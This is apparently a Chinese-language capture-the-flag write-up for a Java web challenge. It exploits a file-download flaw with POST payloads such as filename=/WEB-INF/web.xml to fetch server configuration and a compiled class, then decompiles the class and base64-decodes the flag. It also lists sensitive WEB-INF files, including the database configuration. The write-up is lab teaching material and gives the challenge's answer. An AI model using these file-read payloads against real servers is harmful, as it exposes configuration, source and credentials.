题目页面

点开help

这里存在文件下载漏洞，参数选择POST传参（使用HackBar插件）

查看文件内容

下载存有web信息的XML文件，这里补充一点知识点

 WEB-INF主要包含一下文件或目录： 
/WEB-INF/web.xml：Web应用程序配置文件，描述了 servlet 和其他的应用组件配置及命名规则。 
/WEB-INF/classes/：含了站点所有用的 class 文件，包括 servlet class 和非servlet class，他们不能包含在 .jar文件中 
/WEB-INF/lib/：存放web应用需要的各种JAR文件，放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件 
/WEB-INF/src/：源码目录，按照包名结构放置各个java文件。 
/WEB-INF/database.properties：数据库配置文件

payload

filename=/WEB-INF/web.xml

servlet：Servlet（Server Applet）是Java Servlet的简称，称为小服务程序或服务连接器，用Java编写的服务器端程序，具有独立于平台和协议的特性，主要功能在于交互式地浏览和生成数据，生成动态Web内容。（来源百度百科）
其实说明了这个就是JAVA源代码进行编译后所产生的后缀带有.class的东西。于是我们可以下载这个.class文件再利用反编译手段来获得flag。

最终payload

filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

得到文件

import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(
    name = "FlagController"
)
public class FlagController extends HttpServlet {
    String flag = "ZmxhZ3tkZjE5OTQyMy0zYjU1LTQyZWQtYWMxNS0zMWQwNzQwNjA4M2J9Cg==";

    public FlagController() {
    }

    protected void doGet(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
        PrintWriter var3 = var2.getWriter();
        var3.print("<h1>Flag is nearby ~ Come on! ! !</h1>");
    }
}

然后将flag值进行base64解码

base64编码/解码 在线工具

flag{df199423-3b55-42ed-ac15-31d07406083b}